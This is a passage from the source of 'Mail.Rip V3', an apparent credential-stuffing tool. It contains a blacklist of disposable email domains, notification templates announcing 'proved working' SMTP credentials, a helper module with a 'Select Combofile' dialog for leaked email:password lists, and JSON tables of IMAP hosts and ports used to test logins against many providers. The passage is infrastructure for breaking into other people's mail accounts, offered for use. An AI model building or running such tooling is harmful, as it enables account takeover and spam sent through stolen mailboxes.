"casualdx.com", 67 | "cek.pm", 68 | "centermail.com", 69 | "centermail.net", 70 | "chammy.info", 71 | "childsavetrust.org", 72 | "chogmail.com", 73 | "choicemail1.com", 74 | "clixser.com", 75 | "cmail.net", 76 | "cmail.org", 77 | "coldemail.info", 78 | "cool.fr.nf", 79 | "courriel.fr.nf", 80 | "courrieltemporaire.com", 81 | "crapmail.org", 82 | "cust.in", 83 | "cuvox.de", 84 | "d3p.dk", 85 | "dacoolest.com", 86 | "dandikmail.com", 87 | "dayrep.com", 88 | "dcemail.com", 89 | "deadaddress.com", 90 | "deadspam.com", 91 | "delikkt.de", 92 | "despam.it", 93 | "despammed.com", 94 | "devnullmail.com", 95 | "dfgh.net", 96 | "digitalsanctuary.com", 97 | "dingbone.com", 98 | "disposableaddress.com", 99 | "disposableemailaddresses.com", 100 | "disposableinbox.com", 101 | "dispose.it", 102 | "dispostable.com", 103 | "dodgeit.com", 104 | "dodgit.com", 105 | "donemail.ru", 106 | "dontreg.com", 107 | "dontsendmespam.de", 108 | "drdrb.net", 109 | "dump-email.info", 110 | "dumpandjunk.com", 111 | "dumpyemail.com", 112 | "e-mail.com", 113 | "e-mail.org", 114 | "e4ward.com", 115 | "easytrashmail.com", 116 | "einmalmail.de", 117 | "einrot.com", 118 | "eintagsmail.de", 119 | "emailgo.de", 120 | "emailias.com", 121 | "emaillime.com", 122 | "emailsensei.com", 123 | "emailtemporanea.com", 124 | "emailtemporanea.net", 125 | "emailtemporar.ro", 126 | "emailtemporario.com.br", 127 | "emailthe.net", 128 | "emailtmp.com", 129 | "emailwarden.com", 130 | "emailx.at.hm", 131 | "emailxfer.com", 132 | "emeil.in", 133 | "emeil.ir", 134 | "emz.net", 135 | "ero-tube.org", 136 | "evopo.com", 137 | "explodemail.com", 138 | "express.net.ua", 139 | "eyepaste.com", 140 | "fakeinbox.com", 141 | "fakeinformation.com", 142 | "fansworldwide.de", 143 | "fantasymail.de", 144 | "fightallspam.com", 145 | "filzmail.com", 146 | "fivemail.de", 147 | "fleckens.hu", 148 | "frapmail.com", 149 | "friendlymail.co.uk", 150 | "fuckingduh.com", 151 | "fudgerub.com", 152 | "fyii.de", 153 | "garliclife.com", 154 | "gehensiemirnichtaufdensack.de", 155 | "get2mail.fr", 156 | "getairmail.com", 157 | "getmails.eu", 158 | "getonemail.com", 159 | "giantmail.de", 160 | "girlsundertheinfluence.com", 161 | "gishpuppy.com", 162 | "gmial.com", 163 | "goemailgo.com", 164 | "gotmail.net", 165 | "gotmail.org", 166 | "gotti.otherinbox.com", 167 | "great-host.in", 168 | "greensloth.com", 169 | "grr.la", 170 | "gsrv.co.uk", 171 | "guerillamail.biz", 172 | "guerillamail.com", 173 | "guerrillamail.biz", 174 | "guerrillamail.com", 175 | "guerrillamail.de", 176 | "guerrillamail.info", 177 | "guerrillamail.net", 178 | "guerrillamail.org", 179 | "guerrillamailblock.com", 180 | "gustr.com", 181 | "harakirimail.com", 182 | "hat-geld.de", 183 | "hatespam.org", 184 | "herp.in", 185 | "hidemail.de", 186 | "hidzz.com", 187 | "hmamail.com", 188 | "hopemail.biz", 189 | "ieh-mail.de", 190 | "ikbenspamvrij.nl", 191 | "imails.info", 192 | "inbax.tk", 193 | "inbox.si", 194 | "inboxalias.com", 195 | "inboxclean.com", 196 | "inboxclean.org", 197 | "infocom.zp.ua", 198 | "instant-mail.de", 199 | "ip6.li", 200 | "irish2me.com", 201 | "iwi.net", 202 | "jetable.com", 203 | "jetable.fr.nf", 204 | "jetable.net", 205 | "jetable.org", 206 | "jnxjn.com", 207 | "jourrapide.com", 208 | "jsrsolutions.com", 209 | "kasmail.com", 210 | "kaspop.com", 211 | "killmail.com", 212 | "killmail.net", 213 | "klassmaster.com", 214 | "klzlk.com", 215 | "koszmail.pl", 216 | "kurzepost.de", 217 | "lawlita.com", 218 | "letthemeatspam.com", 219 | "lhsdv.com", 220 | "lifebyfood.com", 221 | "link2mail.net", 222 | "litedrop.com", 223 | "lol.ovpn.to", 224 | "lolfreak.net", 225 | "lookugly.com", 226 | "lortemail.dk", 227 | "lr78.com", 228 | "lroid.com", 229 | "lukop.dk", 230 | "m21.cc", 231 | "mail-filter.com", 232 | "mail-temporaire.fr", 233 | "mail.by", 234 | "mail.mezimages.net", 235 | "mail.zp.ua", 236 | "mail1a.de", 237 | "mail21.cc", 238 | "mail2rss.org", 239 | "mail333.com", 240 | "mailbidon.com", 241 | "mailbiz.biz", 242 | "mailblocks.com", 243 | "mailbucket.org", 244 | "mailcat.biz", 245 | "mailcatch.com", 246 | "mailde.de", 247 | "mailde.info", 248 | "maildrop.cc", 249 | "maileimer.de", 250 | "mailexpire.com", 251 | "mailfa.tk", 252 | "mailforspam.com", 253 | "mailfreeonline.com", 254 | "mailguard.me", 255 | "mailin8r.com", 256 | "mailinater.com", 257 | "mailinator.net", 258 | "mailinator.org", 259 | "mailinator2.com", 260 | "mailincubator.com", 261 | "mailismagic.com", 262 | "mailme.lv", 263 | "mailme24.com", 264 | "mailmetrash.com", 265 | "mailmoat.com", 266 | "mailms.com", 267 | "mailnesia.com", 268 | "mailnull.com", 269 | "mailorg.org", 270 | "mailpick.biz", 271 | "mailrock.biz", 272 | "mailscrap.com", 273 | "mailshell.com", 274 | "mailsiphon.com", 275 | "mailtemp.info", 276 | "mailtome.de", 277 | "mailtothis.com", 278 | "mailtrash.net", 279 | "mailtv.net", 280 | "mailtv.tv", 281 | "mailzilla.com", 282 | "makemetheking.com", 283 | "manybrain.com", 284 | "mbx.cc", 285 | "mega.zik.dj", 286 | "meinspamschutz.de", 287 | "meltmail.com", 288 | "messagebeamer.de", 289 | "mezimages.net", 290 | "ministry-of-silly-walks.de", 291 | "mintemail.com", 292 | "misterpinball.de", 293 | "moncourrier.fr.nf", 294 | "monemail.fr.nf", 295 | "monmail.fr.nf", 296 | "monumentmail.com", 297 | "mt2009.com", 298 | "mt2014.com", 299 | "mycard.net.ua", 300 | "mycleaninbox.net", 301 | "mymail-in.net", 302 | "mypacks.net", 303 | "mypartyclip.de", 304 | "myphantomemail.com", 305 | "mysamp.de", 306 | "mytempemail.com", 307 | "mytempmail.com", 308 | "mytrashmail.com", 309 | "nabuma.com", 310 | "neomailbox.com", 311 | "nepwk.com", 312 | "nervmich.net", 313 | "nervtmich.net", 314 | "netmails.com", 315 | "netmails.net", 316 | "neverbox.com", 317 | "nice-4u.com", 318 | "nincsmail.hu", 319 | "nnh.com", 320 | "no-spam.ws", 321 | "noblepioneer.com", 322 | "nomail.pw", 323 | "nomail.xl.cx", 324 | "nomail2me.com", 325 | "nomorespamemails.com", 326 | "nospam.ze.tc", 327 | "nospam4.us", 328 | "nospamfor.us", 329 | "nospammail.net", 330 | "notmailinator.com", 331 | "nowhere.org", 332 | "nowmymail.com", 333 | "nurfuerspam.de", 334 | "nus.edu.sg", 335 | "objectmail.com", 336 | "obobbo.com", 337 | "odnorazovoe.ru", 338 | "oneoffemail.com", 339 | "onewaymail.com", 340 | "onlatedotcom.info", 341 | "online.ms", 342 | "opayq.com", 343 | "ordinaryamerican.net", 344 | "otherinbox.com", 345 | "ovpn.to", 346 | "owlpic.com", 347 | "pancakemail.com", 348 | "pcusers.otherinbox.com", 349 | "pjjkp.com", 350 | "plexolan.de", 351 | "poczta.onet.pl", 352 | "politikerclub.de", 353 | "poofy.org", 354 | "pookmail.com", 355 | "privacy.net", 356 | "privatdemail.net", 357 | "proxymail.eu", 358 | "prtnx.com", 359 | "putthisinyourspamdatabase.com", 360 | "qq.com", 361 | "quickinbox.com", 362 | "rcpt.at", 363 | "reallymymail.com", 364 | "realtyalerts.ca", 365 | "recode.me", 366 | "recursor.net", 367 | "reliable-mail.com", 368 | "rhyta.com", 369 | "rmqkr.net", 370 | "royal.net", 371 | "rtrtr.com", 372 | "s0ny.net", 373 | "safe-mail.net", 374 | "safersignup.de", 375 | "safetymail.info", 376 | "safetypost.de", 377 | "saynotospams.com", 378 | "schafmail.de", 379 | "schrott-email.de", 380 | "secretemail.de", 381 | "secure-mail.biz", 382 | "senseless-entertainment.com", 383 | "services391.com", 384 | "sharklasers.com", 385 | "shieldemail.com", 386 | "shiftmail.com", 387 | "shitmail.me", 388 | "shitware.nl", 389 | "shmeriously.com", 390 | "shortmail.net", 391 | "sibmail.com", 392 | "sinnlos-mail.de", 393 | "slapsfromlastnight.com", 394 | "slaskpost.se", 395 | "smashmail.de", 396 | "smellfear.com", 397 | "snakemail.com", 398 | "sneakemail.com", 399 | "sneakmail.de", 400 | "snkmail.com", 401 | "sofimail.com", 402 | "solvemail.info", 403 | "sogetthis.com", 404 | "soodonims.com", 405 | "spam4.me", 406 | "spamail.de", 407 | "spamarrest.com", 408 | "spambob.net", 409 | "spambog.ru", 410 | "spambox.us", 411 | "spamcannon.com", 412 | "spamcannon.net", 413 | "spamcon.org", 414 | "spamcorptastic.com", 415 | "spamcowboy.com", 416 | "spamcowboy.net", 417 | "spamcowboy.org", 418 | "spamday.com", 419 | "spamex.com", 420 | "spamfree.eu", 421 | "spamfree24.com", 422 | "spamfree24.de", 423 | "spamfree24.org", 424 | "spamgoes.in", 425 | "spamgourmet.com", 426 | "spamgourmet.net", 427 | "spamgourmet.org", 428 | "spamherelots.com", 429 | "spamhereplease.com", 430 | "spamhole.com", 431 | "spamify.com", 432 | "spaml.de", 433 | "spammotel.com", 434 | "spamobox.com", 435 | "spamslicer.com", 436 | "spamspot.com", 437 | "spamthis.co.uk", 438 | "spamtroll.net", 439 | "speed.1s.fr", 440 | "spoofmail.de", 441 | "stuffmail.de", 442 | "super-auswahl.de", 443 | "supergreatmail.com", 444 | "supermailer.jp", 445 | "superrito.com", 446 | "superstachel.de", 447 | "suremail.info", 448 | "talkinator.com", 449 | "teewars.org", 450 | "teleworm.com", 451 | "teleworm.us", 452 | "temp-mail.org", 453 | "temp-mail.ru", 454 | "tempe-mail.com", 455 | "tempemail.co.za", 456 | "tempemail.com", 457 | "tempemail.net", 458 | "tempinbox.co.uk", 459 | "tempinbox.com", 460 | "tempmail.eu", 461 | "tempmaildemo.com", 462 | "tempmailer.com", 463 | "tempmailer.de", 464 | "tempomail.fr", 465 | "temporaryemail.net", 466 | "temporaryforwarding.com", 467 | "temporaryinbox.com", 468 | "temporarymailaddress.com", 469 | "tempthe.net", 470 | "thankyou2010.com", 471 | "thc.st", 472 | "thelimestones.com", 473 | "thisisnotmyrealemail.com", 474 | "thismail.net", 475 | "throwawayemailaddress.com", 476 | "tilien.com", 477 | "tittbit.in", 478 | "tizi.com", 479 | "tmailinator.com", 480 | "toomail.biz", 481 | "topranklist.de", 482 | "tradermail.info", 483 | "trash-mail.at", 484 | "trash-mail.com", 485 | "trash-mail.de", 486 | "trash2009.com", 487 | "trashdevil.com", 488 | "trashemail.de", 489 | "trashmail.at", 490 | "trashmail.com", 491 | "trashmail.de", 492 | "trashmail.me", 493 | "trashmail.net", 494 | "trashmail.org", 495 | "trashymail.com", 496 | "trialmail.de", 497 | "trillianpro.com", 498 | "twinmail.de", 499 | "tyldd.com", 500 | "uggsrock.com", 501 | "umail.net", 502 | "uroid.com", 503 | "us.af", 504 | "venompen.com", 505 | "veryrealemail.com", 506 | "viditag.com", 507 | "viralplays.com", 508 | "vpn.st", 509 | "vsimcard.com", 510 | "vubby.com", 511 | "wasteland.rfc822.org", 512 | "webemail.me", 513 | "weg-werf-email.de", 514 | "wegwerf-emails.de", 515 | "wegwerfadresse.de", 516 | "wegwerfemail.com", 517 | "wegwerfemail.de", 518 | "wegwerfmail.de", 519 | "wegwerfmail.info", 520 | "wegwerfmail.net", 521 | "wegwerfmail.org", 522 | "wh4f.org", 523 | "whyspam.me", 524 | "willhackforfood.biz", 525 | "willselfdestruct.com", 526 | "winemaven.info", 527 | "wronghead.com", 528 | "x.ip6.li", 529 | "xagloo.com", 530 | "xemaps.com", 531 | "xents.com", 532 | "xmaily.com", 533 | "xoxy.net", 534 | "yep.it", 535 | "yogamaven.com", 536 | "yopmail.com", 537 | "yopmail.fr", 538 | "yopmail.net", 539 | "yourdomain.com", 540 | "yuurok.com", 541 | "z1p.biz", 542 | "za.com", 543 | "zehnminuten.de", 544 | "zehnminutenmail.de", 545 | "zippymail.info", 546 | "zoemail.net", 547 | "zomg.info" 548 | ] 549 | } 550 | -------------------------------------------------------------------------------- /inc_emailcontent.json: -------------------------------------------------------------------------------- 1 | { 2 | "email_titles":[ 3 | "MailRip Test Result ID", 4 | "MailRip Verification ID", 5 | "MailRip Inbox Test ID", 6 | "MailRip Email Test ID", 7 | "MailRip Auto-Email ID" 8 | ], 9 | "email_firstlines":[ 10 | "hello and thank you for using mailrip.", 11 | "this is a automated message by mailrip.", 12 | "here is a new result from mailrip for you.", 13 | "you receive this email because of a new result.", 14 | "this is a new result sent to you by mailrip." 15 | ], 16 | "email_secondlines":[ 17 | "the following credentials are proved working.", 18 | "you can grab the data of the working smtp below.", 19 | "the smtp below is working and ready to use.", 20 | "for more details rerad the information below.", 21 | "the found smtp is hereby verified for sending emails." 22 | ], 23 | "email_thirdlines":[ 24 | "you can find all these details in the results directory, too.", 25 | "check the results directory for more.", 26 | "a text file with all found logins can be found in results directory.", 27 | "remember all data is saved to text files within the results directory as well.", 28 | "this one as well as more working logins are stored in the results directory." 29 | ] 30 | } 31 | -------------------------------------------------------------------------------- /inc_etc.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/opt/python@3.8/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'DrPython3' 5 | __date__ = '2021-12-04' 6 | __version__ = '2.51' 7 | __contact__ = 'https://github.com/DrPython3' 8 | 9 | ''' 10 | ------------------------------------- 11 | Various Functions used by Mail.Rip V3 12 | ------------------------------------- 13 | 14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >> 15 | ''' 16 | 17 | # [IMPORTS] 18 | # --------- 19 | 20 | import sys 21 | import os 22 | import re 23 | import json 24 | import tkinter as tk 25 | from tkinter import filedialog 26 | 27 | # [FUNCTIONS] 28 | # ----------- 29 | 30 | def result(target_file, result_output): 31 | ''' 32 | Saves any output to a certain file in directory "results". 33 | 34 | :param str target_file: file to use 35 | :param str result_output: output to save 36 | :return: True (output saved), False (output not saved) 37 | ''' 38 | # create results directory if not exists: 39 | try: 40 | os.makedirs('results') 41 | except: 42 | pass 43 | # write output to given file: 44 | try: 45 | output_file = os.path.join('results', str(f'{target_file}.txt')) 46 | with open(str(output_file), 'a+') as output: 47 | output.write(str(f'{result_output}\n')) 48 | return True 49 | except: 50 | return False 51 | 52 | def email_verification(email): 53 | ''' 54 | Checks whether a certain string represents an email. 55 | 56 | :param str email: string to check 57 | :return: True (is email), False (no email) 58 | ''' 59 | email_format = '^([\w\.\-]+)@([\w\-]+)((\.(\w){2,63}){1,3})$' 60 | # check given email using format-string: 61 | if re.search(email_format, email): 62 | return True 63 | else: 64 | return False 65 | 66 | def blacklist_check(email): 67 | ''' 68 | Checks whether the domain of a given email is on the blacklist. 69 | 70 | :param str email: email to check 71 | :return: True (blacklisted), False (not blacklisted) 72 | ''' 73 | # try to load blacklist from JSON-file: 74 | try: 75 | with open('inc_domainblacklist.json') as included_imports: 76 | load_blacklist = json.load(included_imports) 77 | blacklist = (load_blacklist['domainblacklist']) 78 | # on errors, set empty blacklist: 79 | except: 80 | blacklist = [] 81 | # check email domain against blacklist: 82 | if str(email.split('@')[1]) in blacklist: 83 | return True 84 | else: 85 | return False 86 | 87 | def domain_verification(domain): 88 | ''' 89 | Checks whether a certain string represents a domain. 90 | 91 | :param str domain: string to check 92 | :return: True (is domain), False (no domain) 93 | ''' 94 | domain_format = '^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$' 95 | # check whether string is a valid domain: 96 | if re.search(domain_format, domain): 97 | return True 98 | else: 99 | return False 100 | 101 | def clean(): 102 | ''' 103 | NO-GUI-Version only: Provides a blank screen on purpose. 104 | 105 | :return: None 106 | ''' 107 | try: 108 | if os.name == 'nt': 109 | os.system('cls') 110 | else: 111 | os.system('clear') 112 | except: 113 | pass 114 | return None 115 | 116 | def get_combofile_nogui(): 117 | ''' 118 | NO-GUI-Version only: Provides a open-file-dialog using tkinter. 119 | 120 | :return: combofile chosen by user 121 | ''' 122 | open_file = tk.Tk() 123 | # hide Tk window: 124 | open_file.withdraw() 125 | # start dialog: 126 | import_file = filedialog.askopenfilename( 127 | title='Select Combofile', 128 | filetypes=(('txt files', '*.txt'),('all files','*.*')) 129 | ) 130 | # kill Tk window and return chosen file: 131 | try: 132 | open_file.destroy() 133 | open_file.quit() 134 | except: 135 | pass 136 | return import_file 137 | 138 | # DrPython3 (C) 2021 @ GitHub.com 139 | -------------------------------------------------------------------------------- /inc_imapdomains.json: -------------------------------------------------------------------------------- 1 | { 2 | "imapdomains":[ 3 | "", 4 | "imap.", 5 | "imaps.", 6 | "mail.", 7 | "email.", 8 | "mx.", 9 | "inbound.", 10 | "securemail.", 11 | "imap.mail.", 12 | "imap-mail." 13 | ] 14 | } 15 | -------------------------------------------------------------------------------- /inc_imapports.json: -------------------------------------------------------------------------------- 1 | { 2 | "imapports":[ 3 | 143, 4 | 993 5 | ] 6 | } 7 | -------------------------------------------------------------------------------- /inc_imapservices.json: -------------------------------------------------------------------------------- 1 | { 2 | "imapservices":{ 3 | "online.de":"imap.1und1.de:993", 4 | "163.com":"imap.163.com:993", 5 | "1and1.co.uk":"imap.1und1.de:993", 6 | "1and1.com":"imap.1und1.de:993", 7 | "1and1.de":"imap.1und1.de:993", 8 | "1and1.es":"imap.1und1.de:993", 9 | "1and1.fr":"imap.1und1.de:993", 10 | "1blu.de":"imap.1blu.de:993", 11 | "1und1.de":"imap.1und1.de:993", 12 | "a1.net":"securemail.a1.net:993", 13 | "active24.com":"email.active24.com:993", 14 | "activist.com":"imap.mail.com:993", 15 | "adexec.com":"imap.mail.com:993", 16 | "africamail.com":"imap.mail.com:993", 17 | "aim.com":"imap.aim.com:993", 18 | "aircraftmail.com":"imap.mail.com:993", 19 | "alabama.usa.com":"imap.mail.com:993", 20 | "alaska.usa.com":"imap.mail.com:993", 21 | "alice-dsl.de":"mail.o2mail.de:993", 22 | "alice-dsl.net":"mail.o2mail.de:993", 23 | "alice.de":"imap.alice.de:993", 24 | "alice.it":"in.alice.it:143", 25 | "allergist.com":"imap.mail.com:993", 26 | "alumni.com":"imap.mail.com:993", 27 | "alumnidirector.com":"imap.mail.com:993", 28 | "americamail.com":"imap.mail.com:993", 29 | "ameritech.net":"inbound.att.net:995", 30 | "anarki.dk":"mail.telenor.dk:143", 31 | "anderledes.dk":"mail.telenor.dk:143", 32 | "angelic.com":"imap.mail.com:993", 33 | "aol.com":"imap.aol.com:993", 34 | "aol.com":"imap.de.aol.com:993", 35 | "aol.de":"imap.aim.com:993", 36 | "aon.at":"securemail.a1.net:993", 37 | "aqua.plala.or.jp":"aqua.mail.plala.or.jp:110", 38 | "archaeologist.com":"imap.mail.com:993", 39 | "arcor.de":"imap.arcor.de:993", 40 | "arcormail.de":"imap.arcor.de:993", 41 | "arizona.usa.com":"imap.mail.com:993", 42 | "artlover.com":"imap.mail.com:993", 43 | "arubapec.it":"imaps.pec.aruba.it:993", 44 | "asia-mail.com":"imap.mail.com:993", 45 | "atheist.com":"imap.mail.com:993", 46 | "att.net":"inbound.att.net:995", 47 | "australiamail.com":"imap.mail.com:993", 48 | "bartender.net":"imap.mail.com:993", 49 | "begavet.dk":"mail.telenor.dk:143", 50 | "belgacom.net":"imap.proximus.be:993", 51 | "bell.net":"imap.bell.net:993", 52 | "bellsouth.net":"inbound.att.net:995", 53 | "berlin.com":"imap.mail.com:993", 54 | "bigger.com":"imap.mail.com:993", 55 | "bigpond.com":"mail.bigpond.com:995", 56 | "bigpond.net.au":"mail.bigpond.com:995", 57 | "bigpond.net":"mail.bigpond.com:995", 58 | "bikerider.com":"imap.mail.com:993", 59 | "birdlover.com":"imap.mail.com:993", 60 | "bitnisse.dk":"mail.telenor.dk:143", 61 | "bk.ru":"imap.mail.ru:993", 62 | "blader.com":"imap.mail.com:993", 63 | "blu.it":"imapmail.libero.it:143", 64 | "bluemail.ch":"imaps.bluewin.ch:993", 65 | "bluewin.ch":"imaps.bluewin.ch:993", 66 | "boardermail.com":"imap.mail.com:993", 67 | "brazilmail.com":"imap.mail.com:993", 68 | "brew-master.com":"imap.mail.com:993", 69 | "btinternet.com":"mail.btinternet.com:993", 70 | "btopenworld.com":"mail.btinternet.com:993", 71 | "california.usa.com":"imap.mail.com:993", 72 | "californiamail.com":"imap.mail.com:993", 73 | "caress.com":"imap.mail.com:993", 74 | "catlover.com":"imap.mail.com:993", 75 | "cgl.ucsf.edu":"plato.cgl.ucsf.edu:993", 76 | "charter.com":"mobile.charter.net:993", 77 | "charter.net":"mobile.charter.net:993", 78 | "cheerful.com":"imap.mail.com:993", 79 | "chef.net":"imap.mail.com:993", 80 | "chello.at":"mail.upcmail.at:993", 81 | "chemist.com":"imap.mail.com:993", 82 | "chinamail.com":"imap.mail.com:993", 83 | "city.dk":"mail.telenor.dk:143", 84 | "cityweb.de":"mail.cityweb.de:993", 85 | "clerk.com":"imap.mail.com:993", 86 | "cliffhanger.com":"imap.mail.com:993", 87 | "club-internet.fr":"imap.sfr.fr:993", 88 | "cneweb.de":"mx.versatel.de:143", 89 | "collector.org":"imap.mail.com:993", 90 | "columnist.com":"imap.mail.com:993", 91 | "comcast.net":"imap.comcast.net:993", 92 | "comic.com":"imap.mail.com:993", 93 | "computer4u.com":"imap.mail.com:993", 94 | "consultant.com":"imap.mail.com:993", 95 | "contractor.net":"imap.mail.com:993", 96 | "cool.dk":"mail.telenor.dk:143", 97 | "coolsite.net":"imap.mail.com:993", 98 | "corp.mail.ru":"imap.mail.ru:993", 99 | "counsellor.com":"imap.mail.com:993", 100 | "count.com":"imap.mail.com:993", 101 | "couple.com":"imap.mail.com:993", 102 | "cutey.com":"imap.mail.com:993", 103 | "cyber-wizard.com":"imap.mail.com:993", 104 | "cyberdude.com":"imap.mail.com:993", 105 | "cyberdude.dk":"mail.telenor.dk:143", 106 | "cybergal.com":"imap.mail.com:993", 107 | "cyberjunkie.dk":"mail.telenor.dk:143", 108 | "dallasmail.com":"imap.mail.com:993", 109 | "dbzmail.com":"imap.mail.com:993", 110 | "deliveryman.com":"imap.mail.com:993", 111 | "diplomats.com":"imap.mail.com:993", 112 | "directbox.com":"imap.directbox.com:993", 113 | "disciples.com":"imap.mail.com:993", 114 | "dk-online.dk":"mail.telenor.dk:143", 115 | "dk2net.dk":"mail.telenor.dk:143", 116 | "doctor.com":"imap.mail.com:993", 117 | "doglover.com":"imap.mail.com:993", 118 | "doramail.com":"imap.mail.com:993", 119 | "dr.com":"imap.mail.com:993", 120 | "dublin.com":"imap.mail.com:993", 121 | "earthling.net":"imap.mail.com:993", 122 | "earthlink.net":"imap.earthlink.net:143", 123 | "eclipso":"mail.eclipso.de:993", 124 | "elinstallatoer.dk":"mail.telenor.dk:143", 125 | "elsker.dk":"mail.telenor.dk:143", 126 | "elvis.dk":"mail.telenor.dk:143", 127 | "elvisfan.com":"imap.mail.com:993", 128 | "email.com":"imap.mail.com:993", 129 | "email.cz":"imap.seznam.cz:993", 130 | "email.de":"imap.web.de:993", 131 | "email.dk":"mail.telenor.dk:143", 132 | "email.it":"imapmail.email.it:993", 133 | "emailsrvr.com":"secure.emailsrvr.com:993", 134 | "engineer.com":"imap.mail.com:993", 135 | "englandmail.com":"imap.mail.com:993", 136 | "epost.de":"mail.epost.de:993", 137 | "europe.com":"imap.mail.com:993", 138 | "europemail.com":"imap.mail.com:993", 139 | "execs.com":"imap.mail.com:993", 140 | "exmail.de":"imap.web.de:993", 141 | "fald.dk":"mail.telenor.dk:143", 142 | "fan.com":"imap.mail.com:993", 143 | "fedt.dk":"mail.telenor.dk:143", 144 | "feelings.com":"imap.mail.com:993", 145 | "feminin.dk":"mail.telenor.dk:143", 146 | "film.dk":"mail.telenor.dk:143", 147 | "financier.com":"imap.mail.com:993", 148 | "firemail.de":"firemail.de:143", 149 | "fireman.net":"imap.mail.com:993", 150 | "flash.net":"inbound.att.net:995", 151 | "florida.usa.com":"imap.mail.com:993", 152 | "foni.net":"mx.versatel.de:143", 153 | "footballer.com":"imap.mail.com:993", 154 | "forening.dk":"mail.telenor.dk:143", 155 | "fps-ingolstadt.de":"imap.fps-ingolstadt.de:993", 156 | "freakmail.de":"imap.web.de:993", 157 | "free.fr":"imap.free.fr:993", 158 | "freenet.de":"mx.freenet.de:993", 159 | "freesurf.ch":"imap.sunrise.ch:993", 160 | "gadefejer.dk":"mail.telenor.dk:143", 161 | "gandi.net":"mail.gandi.net:993", 162 | "gardener.com":"imap.mail.com:993", 163 | "gason.dk":"mail.telenor.dk:143", 164 | "gelsennet.de":"mx.versatel.de:143", 165 | "genion.de":"imap.o2mail.de:993", 166 | "geologist.com":"imap.mail.com:993", 167 | "germanymail.com":"imap.mail.com:993", 168 | "gigahost.dk":"mail.gigahost.dk:993", 169 | "gigapec.it":"imaps.pec.aruba.it:993", 170 | "gmail.com":"imap.gmail.com:993", 171 | "gmail.com":"imap.googlemail.com:993", 172 | "gmx.at":"imap.gmx.net:993", 173 | "gmx.biz":"imap.gmx.net:993", 174 | "gmx.ca":"imap.gmx.com:993", 175 | "gmx.ch":"imap.gmx.net:993", 176 | "gmx.cn":"imap.gmx.com:993", 177 | "gmx.co.in":"imap.gmx.com:993", 178 | "gmx.co.uk":"imap.gmx.com:993", 179 | "gmx.com.br":"imap.gmx.com:993", 180 | "gmx.com.my":"imap.gmx.com:993", 181 | "gmx.com.tr":"imap.gmx.com:993", 182 | "gmx.com":"imap.gmx.com:993", 183 | "gmx.de":"imap.gmx.net:993", 184 | "gmx.es":"imap.gmx.com:993", 185 | "gmx.eu":"imap.gmx.net:993", 186 | "gmx.fr":"imap.gmx.com:993", 187 | "gmx.hk":"imap.gmx.com:993", 188 | "gmx.ie":"imap.gmx.com:993", 189 | "gmx.info":"imap.gmx.net:993", 190 | "gmx.it":"imap.gmx.com:993", 191 | "gmx.li":"imap.gmx.com:993", 192 | "gmx.net":"imap.gmx.net:993", 193 | "gmx.org":"imap.gmx.net:993", 194 | "gmx.ph":"imap.gmx.com:993", 195 | "gmx.pt":"imap.gmx.com:993", 196 | "gmx.ru":"imap.gmx.com:993", 197 | "gmx.se":"imap.gmx.com:993", 198 | "gmx.sg":"imap.gmx.com:993", 199 | "gmx.tm":"imap.gmx.com:993", 200 | "gmx.tw":"imap.gmx.com:993", 201 | "gmx.us":"imap.gmx.com:993", 202 | "go4more.de":"imap.1und1.de:993", 203 | "goneo.de":"imap.goneo.de:993", 204 | "google.com":"imap.gmail.com:993", 205 | "google.com":"imap.googlemail.com:993", 206 | "googlemail.com":"imap.gmail.com:993", 207 | "googlemail.com":"imap.googlemail.com:993", 208 | "graduate.org":"imap.mail.com:993", 209 | "gransy.com":"imap.gransy.com:993", 210 | "graphic-designer.com":"imap.mail.com:993", 211 | "grin.dk":"mail.telenor.dk:143", 212 | "grov.dk":"mail.telenor.dk:143", 213 | "hackermail.com":"imap.mail.com:993", 214 | "hairdresser.net":"imap.mail.com:993", 215 | "hamburg.de":"mail2.hamburg.de:993", 216 | "hanse.net":"imap.o2mail.de:993", 217 | "hardworking.dk":"mail.telenor.dk:143", 218 | "heaven.dk":"mail.telenor.dk:143", 219 | "hemmelig.dk":"mail.telenor.dk:143", 220 | "hilarious.com":"imap.mail.com:993", 221 | "hispeed.ch":"imap.hispeed.ch:993", 222 | "hockeymail.com":"imap.mail.com:993", 223 | "homemail.com":"imap.mail.com:993", 224 | "hot-shot.com":"imap.mail.com:993", 225 | "hotmail.co.jp":"imap-mail.outlook.com:993", 226 | "hotmail.co.uk":"imap-mail.outlook.com:993", 227 | "hotmail.com.br":"imap-mail.outlook.com:993", 228 | "hotmail.com":"imap-mail.outlook.com:993", 229 | "hotmail.de":"imap-mail.outlook.com:993", 230 | "hotmail.es":"imap-mail.outlook.com:993", 231 | "hotmail.fr":"imap-mail.outlook.com:993", 232 | "hotmail.it":"imap-mail.outlook.com:993", 233 | "hour.com":"imap.mail.com:993", 234 | "htp-tel.de":"mail.htp-tel.de :993", 235 | "huleboer.dk":"mail.telenor.dk:143", 236 | "humanoid.net":"imap.mail.com:993", 237 | "illinois.usa.com":"imap.mail.com:993", 238 | "image.dk":"mail.telenor.dk:143", 239 | "iname.com":"imap.mail.com:993", 240 | "inbound.dk":"mail.telenor.dk:143", 241 | "inbox.lt":"mail.inbox.lt:995", 242 | "inbox.lv":"mail.inbox.lv:995", 243 | "inbox.ru":"imap.mail.ru:993", 244 | "indbakke.dk":"mail.telenor.dk:143", 245 | "infile.dk":"mail.telenor.dk:143", 246 | "info.dk":"mail.telenor.dk:143", 247 | "ingpec.eu":"imaps.pec.aruba.it:993", 248 | "innocent.com":"imap.mail.com:993", 249 | "inode.at":"mail.inode.at:993", 250 | "inorbit.com":"imap.mail.com:993", 251 | "instruction.com":"imap.mail.com:993", 252 | "instructor.net":"imap.mail.com:993", 253 | "insurer.com":"imap.mail.com:993", 254 | "internetserver.cz":"imap.gransy.com:993", 255 | "inwind.it":"imapmail.libero.it:143", 256 | "io.dk":"mail.telenor.dk:143", 257 | "iol.it":"imapmail.libero.it:143", 258 | "irelandmail.com":"imap.mail.com:993", 259 | "ispgateway.de":"sslmailpool.ispgateway.de:993", 260 | "it.dk":"mail.telenor.dk:143", 261 | "italymail.com":"imap.mail.com:993", 262 | "ix.netcom.com":"imap.earthlink.net:143", 263 | "japan.com":"imap.mail.com:993", 264 | "jazztel.es":"imap.gmail.com:993", 265 | "jazztel.es":"imap.googlemail.com:993", 266 | "journalist.com":"imap.mail.com:993", 267 | 